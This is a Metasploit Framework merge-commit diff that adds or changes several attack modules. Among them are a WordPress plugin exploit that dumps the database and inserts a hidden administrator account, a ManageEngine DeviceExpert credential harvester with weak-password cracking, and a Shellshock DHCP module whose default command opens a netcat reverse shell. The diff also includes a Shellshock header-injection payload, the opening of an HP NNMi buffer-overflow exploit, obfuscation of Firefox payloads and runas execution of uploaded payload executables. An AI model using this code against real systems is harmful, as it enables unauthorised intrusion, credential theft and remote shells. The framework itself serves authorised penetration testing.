Merge branch 'master' into staging/rails-4.0

Conflicts:
	Gemfile.lock
bug/bundler_fix
darkbushido 2014-09-29 15:48:12 -05:00
commit 701291e029
No known key found for this signature in database
GPG Key ID: 3922EB70FB80E8DD
38 changed files with 1073 additions and 164 deletions

View File

@ -51,7 +51,7 @@ PATH
actionpack (>= 4.0.9, < 4.1.0) actionpack (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0)
bcrypt bcrypt
jsobfu (~> 0.1.7) jsobfu (~> 0.2.0)
json json
metasploit-concern metasploit-concern
metasploit-model metasploit-model
@ -136,7 +136,7 @@ GEM
multi_json (~> 1.3) multi_json (~> 1.3)
hike (1.2.3) hike (1.2.3)
i18n (0.6.11) i18n (0.6.11)
jsobfu (0.1.7) jsobfu (0.2.0)
rkelly-remix (= 0.0.6) rkelly-remix (= 0.0.6)
json (1.8.1) json (1.8.1)
mail (2.6.1) mail (2.6.1)

View File

@ -52,29 +52,65 @@ module Scriptable
end end
# #
# Executes the supplied script or Post module with arguments +args+ # Executes the supplied script, Post module, or local Exploit module with
# arguments +args+
# #
# Will search the script path. # Will search the script path.
# #
def execute_script(script_name, *args) def execute_script(script_name, *args)
mod = framework.modules.create(script_name) mod = framework.modules.create(script_name)
if (mod and mod.type == "post") if mod
# Don't report module run events here as it will be taken care of # Don't report module run events here as it will be taken care of
# in +Post.run_simple+ # in +Post.run_simple+
opts = { 'SESSION' => self.sid } opts = { 'SESSION' => self.sid }
args.each do |arg| args.each do |arg|
k,v = arg.split("=", 2) k,v = arg.split("=", 2)
opts[k] = v # case doesn't matter in datastore, but it does in hashes, let's normalize
opts[k.downcase] = v
end end
mod.run_simple( if mod.type == "post"
# Run with whatever the default stance is for now. At some mod.run_simple(
# point in the future, we'll probably want a way to force a # Run with whatever the default stance is for now. At some
# module to run in the background # point in the future, we'll probably want a way to force a
#'RunAsJob' => true, # module to run in the background
'LocalInput' => self.user_input, #'RunAsJob' => true,
'LocalOutput' => self.user_output, 'LocalInput' => self.user_input,
'Options' => opts 'LocalOutput' => self.user_output,
) 'Options' => opts
)
elsif mod.type == "exploit"
# well it must be a local, we're not currently supporting anything else
if mod.exploit_type == "local"
# get a copy of the session exploit's datastore if we can
original_exploit_datastore = self.exploit.datastore || {}
copy_of_orig_exploit_datastore = original_exploit_datastore.clone
# convert datastore opts to a hash to normalize casing issues
local_exploit_opts = {}
copy_of_orig_exploit_datastore.each do |k,v|
local_exploit_opts[k.downcase] = v
end
# we don't want to inherit a couple things, like AutoRunScript's
to_neuter = %w{AutoRunScript InitialAutoRunScript LPORT TARGET}
to_neuter.each do |setting|
local_exploit_opts.delete(setting.downcase)
end
# merge in any opts that were passed in, defaulting all other settings
# to the values from the datastore (of the exploit) that spawned the
# session
local_exploit_opts = local_exploit_opts.merge(opts)
new_session = mod.exploit_simple(
'Payload' => local_exploit_opts.delete('payload'),
'Target' => local_exploit_opts.delete('target'),
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'Options' => local_exploit_opts
)
end # end if local
end # end if exploit
else else
full_path = self.class.find_script_path(script_name) full_path = self.class.find_script_path(script_name)
@ -91,4 +127,3 @@ module Scriptable
end end
end end

View File

@ -20,7 +20,7 @@ module Exploit::Android
def add_javascript_interface_exploit_js(arch) def add_javascript_interface_exploit_js(arch)
stagename = Rex::Text.rand_text_alpha(5) stagename = Rex::Text.rand_text_alpha(5)
script = %Q| %Q|
function exec(runtime, cmdArr) { function exec(runtime, cmdArr) {
var ch = 0; var ch = 0;
var output = ''; var output = '';
@ -84,9 +84,6 @@ module Exploit::Android
for (i in top) { if (attemptExploit(top[i]) === true) break; } for (i in top) { if (attemptExploit(top[i]) === true) break; }
| |
# remove comments and empty lines
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
end end

View File

@ -12,7 +12,24 @@ module Msf
module Exploit::DHCPServer module Exploit::DHCPServer
def initialize(info = {}) def initialize(info = {})
super super(update_info(info,
'Stance' => Msf::Exploit::Stance::Passive,
))
register_options(
[
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
OptString.new('ROUTER', [ false, "The router IP address" ]),
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
OptString.new('DOMAINNAME', [ false, "The optional domain name to assign" ]),
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
], self.class)
@dhcp = nil @dhcp = nil
end end
@ -21,7 +38,7 @@ module Exploit::DHCPServer
@dhcp = Rex::Proto::DHCP::Server.new(hash, context) @dhcp = Rex::Proto::DHCP::Server.new(hash, context)
print_status("Starting DHCP server") if datastore['VERBOSE'] print_status("Starting DHCP server") if datastore['VERBOSE']
@dhcp.start @dhcp.start
add_socket(@dhcp.socket) add_socket(@dhcp.sock)
@dhcp @dhcp
end end
@ -34,4 +51,3 @@ module Exploit::DHCPServer
end end
end end

View File

@ -7,16 +7,24 @@
# #
### ###
require 'msf/core/exploit/jsobfu'
module Msf module Msf
module Exploit::Remote::FirefoxPrivilegeEscalation module Exploit::Remote::FirefoxPrivilegeEscalation
# automatically obfuscate anything that runs through `js_exec`
include Msf::Exploit::JSObfu
# Sends the +js+ code to the remote session, which executes it in Firefox's # Sends the +js+ code to the remote session, which executes it in Firefox's
# privileged javascript context # privileged javascript context. The code will be obfuscated if the JsObfuscate
# datastore option is set to 1 or higher.
#
# @return [String] the results that were sent back. This can be achieved through # @return [String] the results that were sent back. This can be achieved through
# calling the "send" function, or by just returning the value in +js+ # calling the "send" function, or by just returning the value in +js+
def js_exec(js, timeout=30) def js_exec(js, timeout=30)
print_status "Running the privileged javascript..." print_status "Running the privileged javascript..."
token = "[[#{Rex::Text.rand_text_alpha(8)}]]" token = "[[#{Rex::Text.rand_text_alpha(8)}]]"
js = js_obfuscate(js)
session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}") session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}")
session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout) session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout)
end end

View File

@ -1,9 +1,13 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'msf/core' require 'msf/core'
require 'msf/core/exploit/jsobfu'
require 'json' require 'json'
module Msf::Payload::Firefox module Msf::Payload::Firefox
# automatically obfuscate every Firefox payload
include Msf::Exploit::JSObfu
# Javascript source code of setTimeout(fn, delay) # Javascript source code of setTimeout(fn, delay)
# @return [String] javascript source code that exposes the setTimeout(fn, delay) method # @return [String] javascript source code that exposes the setTimeout(fn, delay) method
def set_timeout_source def set_timeout_source
@ -121,14 +125,15 @@ module Msf::Payload::Firefox
var retVal = null; var retVal = null;
try { try {
retVal = Function('send', js[1])(function(r){ this.send = function(r){
if (sent) return; if (sent) return;
sent = true; sent = true;
if (r) { if (r) {
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); }); if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
else cb(false, r+tag+"\\n"); else cb(false, r+tag+"\\n");
} }
}); };
retVal = Function(js[1]).call(this);
} catch (e) { retVal = e.message; } } catch (e) { retVal = e.message; }
sync = false; sync = false;

View File

@ -4,27 +4,23 @@ require 'msf/core/exploit/powershell'
require 'msf/core/exploit/exe' require 'msf/core/exploit/exe'
module Msf::Post::Windows::Runas module Msf::Post::Windows::Runas
include Msf::Post::File include Msf::Post::File
include Msf::Exploit::EXE include Msf::Exploit::EXE
include Msf::Exploit::Powershell include Msf::Exploit::Powershell
def execute_exe(filename = nil, path = nil, upload = nil) def shell_execute_exe(filename = nil, path = nil)
exe_payload = generate_payload_exe
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
payload_path = path || get_env('TEMP') payload_path = path || expand_path('%TEMP%')
cmd_location = "#{payload_path}\\#{payload_filename}" cmd_location = "#{payload_path}\\#{payload_filename}"
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
if upload write_file(cmd_location, exe_payload)
exe_payload = generate_payload_exe command, args = cmd_location, nil
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...") shell_exec(command, args)
write_file(cmd_location, exe_payload)
else
print_status("No file uploaded, attempting to execute #{cmd_location}...")
end
shell_exec(cmd_location, nil)
end end
def execute_psh def shell_execute_psh
powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
command = 'cmd.exe' command = 'cmd.exe'
args = "/c #{powershell_command}" args = "/c #{powershell_command}"
@ -32,7 +28,10 @@ module Msf::Post::Windows::Runas
end end
def shell_exec(command, args) def shell_exec(command, args)
print_status('Executing elevated command...') print_status('Executing Command!')
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW') session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
::Timeout.timeout(30) do
select(nil, nil, nil, 1) until session_created?
end
end end
end end

View File

@ -3184,7 +3184,7 @@ class Core
) )
[ [
[ 'ConsoleLogging', framework.datastore['ConsoleLogging'] || "false", 'Log all console input and output' ], [ 'ConsoleLogging', framework.datastore['ConsoleLogging'] || "false", 'Log all console input and output' ],
[ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 5)' ], [ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 3)' ],
[ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ], [ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ],
[ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ], [ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ],
[ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ], [ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ],

View File

@ -19,8 +19,10 @@ OpDHCPServer = 0x36
OpLeaseTime = 0x33 OpLeaseTime = 0x33
OpSubnetMask = 1 OpSubnetMask = 1
OpRouter = 3 OpRouter = 3
OpDomainName = 15
OpDns = 6 OpDns = 6
OpHostname = 0x0c OpHostname = 0x0c
OpURL = 0x72
OpEnd = 0xff OpEnd = 0xff
PXEMagic = "\xF1\x00\x74\x7E" PXEMagic = "\xF1\x00\x74\x7E"

View File

@ -94,6 +94,9 @@ class Server
self.pxealtconfigfile = "update0" self.pxealtconfigfile = "update0"
self.pxepathprefix = "" self.pxepathprefix = ""
self.pxereboottime = 2000 self.pxereboottime = 2000
self.domain_name = hash['DOMAINNAME'] || nil
self.url = hash['URL'] if hash.include?('URL')
end end
def report(&block) def report(&block)
@ -126,7 +129,7 @@ class Server
allowed_options = [ allowed_options = [
:serveOnce, :pxealtconfigfile, :servePXE, :relayip, :leasetime, :dnsserv, :serveOnce, :pxealtconfigfile, :servePXE, :relayip, :leasetime, :dnsserv,
:pxeconfigfile, :pxepathprefix, :pxereboottime, :router, :pxeconfigfile, :pxepathprefix, :pxereboottime, :router,
:give_hostname, :served_hostname, :served_over, :serveOnlyPXE :give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domain_name, :url
] ]
opts.each_pair { |k,v| opts.each_pair { |k,v|
@ -151,10 +154,11 @@ class Server
end end
attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
attr_accessor :domain_name
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
attr_accessor :give_hostname, :served_hostname, :served_over, :reporter attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :url
protected protected
@ -166,7 +170,7 @@ protected
wds = [] wds = []
eds = [@sock] eds = [@sock]
r,w,e = ::IO.select(rds,wds,eds,1) r,_,_ = ::IO.select(rds,wds,eds,1)
if (r != nil and r[0] == self.sock) if (r != nil and r[0] == self.sock)
buf,host,port = self.sock.recvfrom(65535) buf,host,port = self.sock.recvfrom(65535)
@ -198,19 +202,19 @@ protected
end end
# parse out the members # parse out the members
hwtype = buf[1,1] _hwtype = buf[1,1]
hwlen = buf[2,1].unpack("C").first hwlen = buf[2,1].unpack("C").first
hops = buf[3,1] _hops = buf[3,1]
txid = buf[4..7] _txid = buf[4..7]
elapsed = buf[8..9] _elapsed = buf[8..9]
flags = buf[10..11] _flags = buf[10..11]
clientip = buf[12..15] clientip = buf[12..15]
givenip = buf[16..19] _givenip = buf[16..19]
nextip = buf[20..23] _nextip = buf[20..23]
relayip = buf[24..27] _relayip = buf[24..27]
clienthwaddr = buf[28..(27+hwlen)] _clienthwaddr = buf[28..(27+hwlen)]
servhostname = buf[44..107] servhostname = buf[44..107]
filename = buf[108..235] _filename = buf[108..235]
magic = buf[236..239] magic = buf[236..239]
if (magic != DHCPMagic) if (magic != DHCPMagic)
@ -293,6 +297,8 @@ protected
pkt << dhcpoption(OpSubnetMask, self.netmaskn) pkt << dhcpoption(OpSubnetMask, self.netmaskn)
pkt << dhcpoption(OpRouter, self.router) pkt << dhcpoption(OpRouter, self.router)
pkt << dhcpoption(OpDns, self.dnsserv) pkt << dhcpoption(OpDns, self.dnsserv)
pkt << dhcpoption(OpDomainName, self.domain_name)
if self.servePXE # PXE options if self.servePXE # PXE options
pkt << dhcpoption(OpPXEMagic, PXEMagic) pkt << dhcpoption(OpPXEMagic, PXEMagic)
# We already got this one, serve localboot file # We already got this one, serve localboot file
@ -317,6 +323,7 @@ protected
pkt << dhcpoption(OpHostname, send_hostname) pkt << dhcpoption(OpHostname, send_hostname)
end end
end end
pkt << dhcpoption(OpURL, self.url) if self.url
pkt << dhcpoption(OpEnd) pkt << dhcpoption(OpEnd)
pkt << ("\x00" * 32) #padding pkt << ("\x00" * 32) #padding

View File

@ -55,7 +55,7 @@ Gem::Specification.new do |spec|
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb) # Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
spec.add_runtime_dependency 'bcrypt' spec.add_runtime_dependency 'bcrypt'
# Needed for Javascript obfuscation # Needed for Javascript obfuscation
spec.add_runtime_dependency 'jsobfu', '~> 0.1.7' spec.add_runtime_dependency 'jsobfu', '~> 0.2.0'
# Needed for some admin modules (scrutinizer_add_user.rb) # Needed for some admin modules (scrutinizer_add_user.rb)
spec.add_runtime_dependency 'json' spec.add_runtime_dependency 'json'
# Metasploit::Concern hooks # Metasploit::Concern hooks

View File

@ -0,0 +1,115 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::HTTP::Wordpress
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress custom-contact-forms Plugin SQL Upload',
'Description' => %q{
The WordPress custom-contact-forms plugin <= 5.1.0.3 allows unauthenticated users to download
a SQL dump of the plugins database tables. It's also possible to upload files containing
sql statements which will be executed. The module first tries to extract the WordPress
table prefix from the dump and then attempts to create a new admin user.
},
'Author' =>
[
'Marc-Alexandre Montpas', # Vulnerability discovery
'Christian Mehlmauer' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html' ],
[ 'URL', 'https://plugins.trac.wordpress.org/changeset?old_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.3&old=997569&new_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.4&new=997569&sfp_email=&sfph_mail=' ]
],
'DisclosureDate' => 'Aug 07 2014'
))
end
def get_sql(table_prefix, username, password)
# create user
sql = "INSERT INTO #{table_prefix}users (user_login, user_pass) VALUES ('#{username}','#{Rex::Text.md5(password)}');"
# make user administrator
sql << "INSERT INTO #{table_prefix}usermeta (user_id, meta_key, meta_value) VALUES ((select id from #{table_prefix}users where user_login='#{username}'),'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}'),((select id from #{table_prefix}users where user_login='#{username}'),'wp_user_level','10');"
sql
end
def get_table_prefix
res = send_request_cgi({
'uri' => normalize_uri(wordpress_url_backend, 'admin-post.php'),
'method' => 'POST',
'vars_post' => {
'ccf_export' => "1"
}
})
return nil if res.nil? || res.code != 302 || res.headers['Location'] !~ /\.sql$/
file = res.headers['Location']
res_file = send_request_cgi('uri' => file)
return nil if res_file.nil? || res_file.code != 200 || res_file.body.nil?
match = res_file.body.match(/insert into `(.+_)customcontactforms_fields`/i)
return nil if match.nil? || match.length < 2
table_prefix = match[1]
table_prefix
end
def run
username = Rex::Text.rand_text_alpha(10)
password = Rex::Text.rand_text_alpha(20)
print_status("#{peer} - Trying to get table_prefix")
table_prefix = get_table_prefix
if table_prefix.nil?
print_error("#{peer} - Unable to get table_prefix")
return
else
print_status("#{peer} - got table_prefix '#{table_prefix}'")
end
data = Rex::MIME::Message.new
data.add_part(get_sql(table_prefix, username, password), 'text/plain', nil, "form-data; name=\"import_file\"; filename=\"#{Rex::Text.rand_text_alpha(5)}.sql\"")
data.add_part('1', nil, nil, 'form-data; name="ccf_merge_import"')
post_data = data.to_s
print_status("#{peer} - Inserting user #{username} with password #{password}")
uri = normalize_uri(wordpress_url_backend, 'admin-post.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)
if res.nil? || res.code != 302 || res.headers['Location'] != 'options-general.php?page=custom-contact-forms'
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
end
# test login
cookie = wordpress_login(username, password)
# login successfull
if cookie
print_status("#{peer} - User #{username} with password #{password} successfully created")
report_auth_info(
sname: 'WordPress',
host: rhost,
port: rport,
user: username,
pass: password,
active: true
)
else
print_error("#{peer} - User creation failed")
return
end
end
end

View File

@ -17,7 +17,7 @@ class Metasploit4 < Msf::Auxiliary
'Description' => %q{ 'Description' => %q{
This module exploits a code injection in specially crafted environment This module exploits a code injection in specially crafted environment
variables in Bash, specifically targeting Apache mod_cgi scripts through variables in Bash, specifically targeting Apache mod_cgi scripts through
the HTTP_USER_AGENT variable. the HTTP_USER_AGENT variable by default.
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
CMD, set ExitOnSession false, run -j, and then run this module to create CMD, set ExitOnSession false, run -j, and then run this module to create
@ -38,8 +38,8 @@ class Metasploit4 < Msf::Auxiliary
register_options([ register_options([
OptString.new('TARGETURI', [true, 'Path to CGI script']), OptString.new('TARGETURI', [true, 'Path to CGI script']),
OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET', OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),
['GET', 'POST']]), OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
OptString.new('CMD', [true, 'Command to run (absolute paths required)', OptString.new('CMD', [true, 'Command to run (absolute paths required)',
'/usr/bin/id']) '/usr/bin/id'])
], self.class) ], self.class)
@ -57,10 +57,25 @@ class Metasploit4 < Msf::Auxiliary
:name => self.name, :name => self.name,
:refs => self.references :refs => self.references
) )
Exploit::CheckCode::Vulnerable return Exploit::CheckCode::Vulnerable
elsif res && res.code == 500
injected_res_code = res.code
else else
Exploit::CheckCode::Safe return Exploit::CheckCode::Safe
end end
res = send_request_cgi({
'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri.path.to_s)
})
if res && injected_res_code == res.code
return Exploit::CheckCode::Unknown
elsif res && injected_res_code != res.code
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Unknown
end end
def run_host(ip) def run_host(ip)
@ -83,7 +98,9 @@ class Metasploit4 < Msf::Auxiliary
send_request_cgi( send_request_cgi(
'method' => datastore['METHOD'], 'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri.path), 'uri' => normalize_uri(target_uri.path),
'agent' => "() { :;};echo #{@marker}$(#{cmd})#{@marker}" 'headers' => {
datastore['HEADER'] => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
}
) )
end end

View File

@ -0,0 +1,170 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(
info,
'Name' => 'ManageEngine DeviceExpert User Credentials',
'Description' => %q{
This module extracts usernames and salted MD5 password hashes
from ManageEngine DeviceExpert version 5.9 build 5980 and prior.
This module has been tested successfully on DeviceExpert
version 5.9.7 build 5970.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Discovery and exploit
'Brendan Coles <bcoles[at]gmail.com>' # msf
],
'References' =>
[
['EDB', '34449'],
['OSVBD', '110522'],
['CVE', '2014-5377']
],
'DisclosureDate' => 'Aug 28 2014'))
register_options(
[
Opt::RPORT(6060),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)
deregister_options('RHOST')
end
def check
get_users ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end
def get_users
users = nil
vprint_status("#{peer} - Reading users from master...")
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet'))
if !res
vprint_error("#{peer} - Connection failed")
elsif res.code == 404
vprint_error("#{peer} - Could not find 'ReadUsersFromMasterServlet'")
elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/
users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/)
vprint_good("#{peer} - Found #{users.length} users")
else
vprint_error("#{peer} - Could not find any users")
end
users
end
def parse_user_data(user)
return if user.nil?
username = user.scan(/<username>([^<]+)</).flatten.first
encoded_hash = user.scan(/<password>([^<]+)</).flatten.first
role = user.scan(/<userrole>([^<]+)</).flatten.first
mail = user.scan(/<emailid>([^<]+)</).flatten.first
salt = user.scan(/<saltvalue>([^<]+)</).flatten.first
hash = Rex::Text.decode_base64(encoded_hash).unpack('H*').flatten.first
pass = nil
['12345', 'admin', 'password', username].each do |weak_password|
if hash == Rex::Text.md5(weak_password + salt)
pass = weak_password
break
end
end
[username, pass, hash, role, mail, salt]
end
def run_host(ip)
users = get_users
return if users.nil?
service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
cred_table = Rex::Ui::Text::Table.new(
'Header' => 'ManageEngine DeviceExpert User Credentials',
'Indent' => 1,
'Columns' =>
[
'Username',
'Password',
'Password Hash',
'Role',
'E-mail',
'Password Salt'
]
)
vprint_status("#{peer} - Parsing user data...")
users.each do |user|
record = parse_user_data(user.to_s)
next if record.join.empty?
user = record[0]
pass = record[1]
hash = record[2]
role = record[3]
mail = record[4]
salt = record[5]
cred_table << [user, pass, hash, role, mail, salt]
if pass
print_status("#{peer} - Found weak credentials (#{user}:#{pass})")
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: pass,
username: user
}
else
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :nonreplayable_hash,
private_data: "#{salt}:#{hash}",
username: user
}
end
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
access_level: role,
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
print_line
print_line("#{cred_table}")
loot_name = 'manageengine.deviceexpert.user.creds'
loot_type = 'text/csv'
loot_filename = 'manageengine_deviceexpert_user_creds.csv'
loot_desc = 'ManageEngine DeviceExpert User Credentials'
p = store_loot(
loot_name,
loot_type,
rhost,
cred_table.to_csv,
loot_filename,
loot_desc)
print_status "Credentials saved in: #{p}"
end
end

View File

@ -0,0 +1,82 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/dhcp'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::DHCPServer
def initialize
super(
'Name' => 'DHCP Client Bash Environment Variable Code Injection',
'Description' => %q{
This module exploits a code injection in specially crafted environment
variables in Bash, specifically targeting dhclient network configuration
scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options.
},
'Author' =>
[
'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module
'Stephane Chazelas', # Vulnerability discovery
'Ramon de C Valle' # This module
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service',
'References' => [
['CVE', '2014-6271'],
['CWE', '94'],
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
['URL', 'http://seclists.org/oss-sec/2014/q3/649',],
['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',]
],
'DisclosureDate' => 'Sep 24 2014'
)
register_options(
[
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
], self.class)
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
end
def run
value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"
hash = datastore.copy
hash['DOMAINNAME'] = value
hash['HOSTNAME'] = value
hash['URL'] = value
# This loop is required because the current DHCP Server exits after the
# first interaction.
loop do
begin
start_service(hash)
while @dhcp.thread.alive?
select(nil, nil, nil, 2)
end
rescue Interrupt
break
ensure
stop_service
end
end
end
end

View File

@ -30,19 +30,6 @@ class Metasploit3 < Msf::Auxiliary
'DefaultAction' => 'Service' 'DefaultAction' => 'Service'
) )
register_options(
[
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
OptString.new('ROUTER', [ false, "The router IP address" ]),
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
], self.class)
end end
def run def run

View File

@ -74,6 +74,8 @@ class Metasploit3 < Msf::Exploit::Remote
:os_flavor => 'Android' :os_flavor => 'Android'
} }
)) ))
deregister_options('JsObfuscate')
end end
# Hooked to prevent BrowserExploitServer from attempting to do JS detection # Hooked to prevent BrowserExploitServer from attempting to do JS detection

View File

@ -0,0 +1,229 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Network Node Manager I PMD Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The
vulnerability exists in the pmd service, due to the insecure usage of functions like
strcpy and strcat while handling stack_option packets with user controlled data. In
order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from
the stack and finally build the rop chain to avoid NX.
},
'Author' =>
[
'd(-_-)b', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2014-2624'],
['ZDI', '14-305']
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 3000,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'
}
},
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets' =>
[
['Automatic', {}],
['HP NNMi 9.10 / CentOS 5',
{
# ptr to .rodata with format specifier
#.rodata:0003BE86 aS_1 db '%s',0
'ov_offset' => 0x3BE86,
:rop => :rop_hp_nnmi_9_10
}
],
['HP NNMi 9.20 / CentOS 6',
{
# ptr to .rodata with format specifier
#.rodata:0003C2D6 aS_1 db '%s',0
'ov_offset' => 0x3c2d8,
:rop => :rop_hp_nnmi_9_20
}
]
],
'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20
'DisclosureDate' => 'Sep 09 2014',
'DefaultTarget' => 0
))
register_options([ Opt::RPORT(7426) ], self.class)
end
def check
header = [
0x2a5, # pmdmgr_init pkt
0x3cc, # signature
0xa0c, # signature
0xca8 # signature
].pack("V")
data = "\x00" * (0xfa4 - header.length)
pkt = header + data
connect_udp
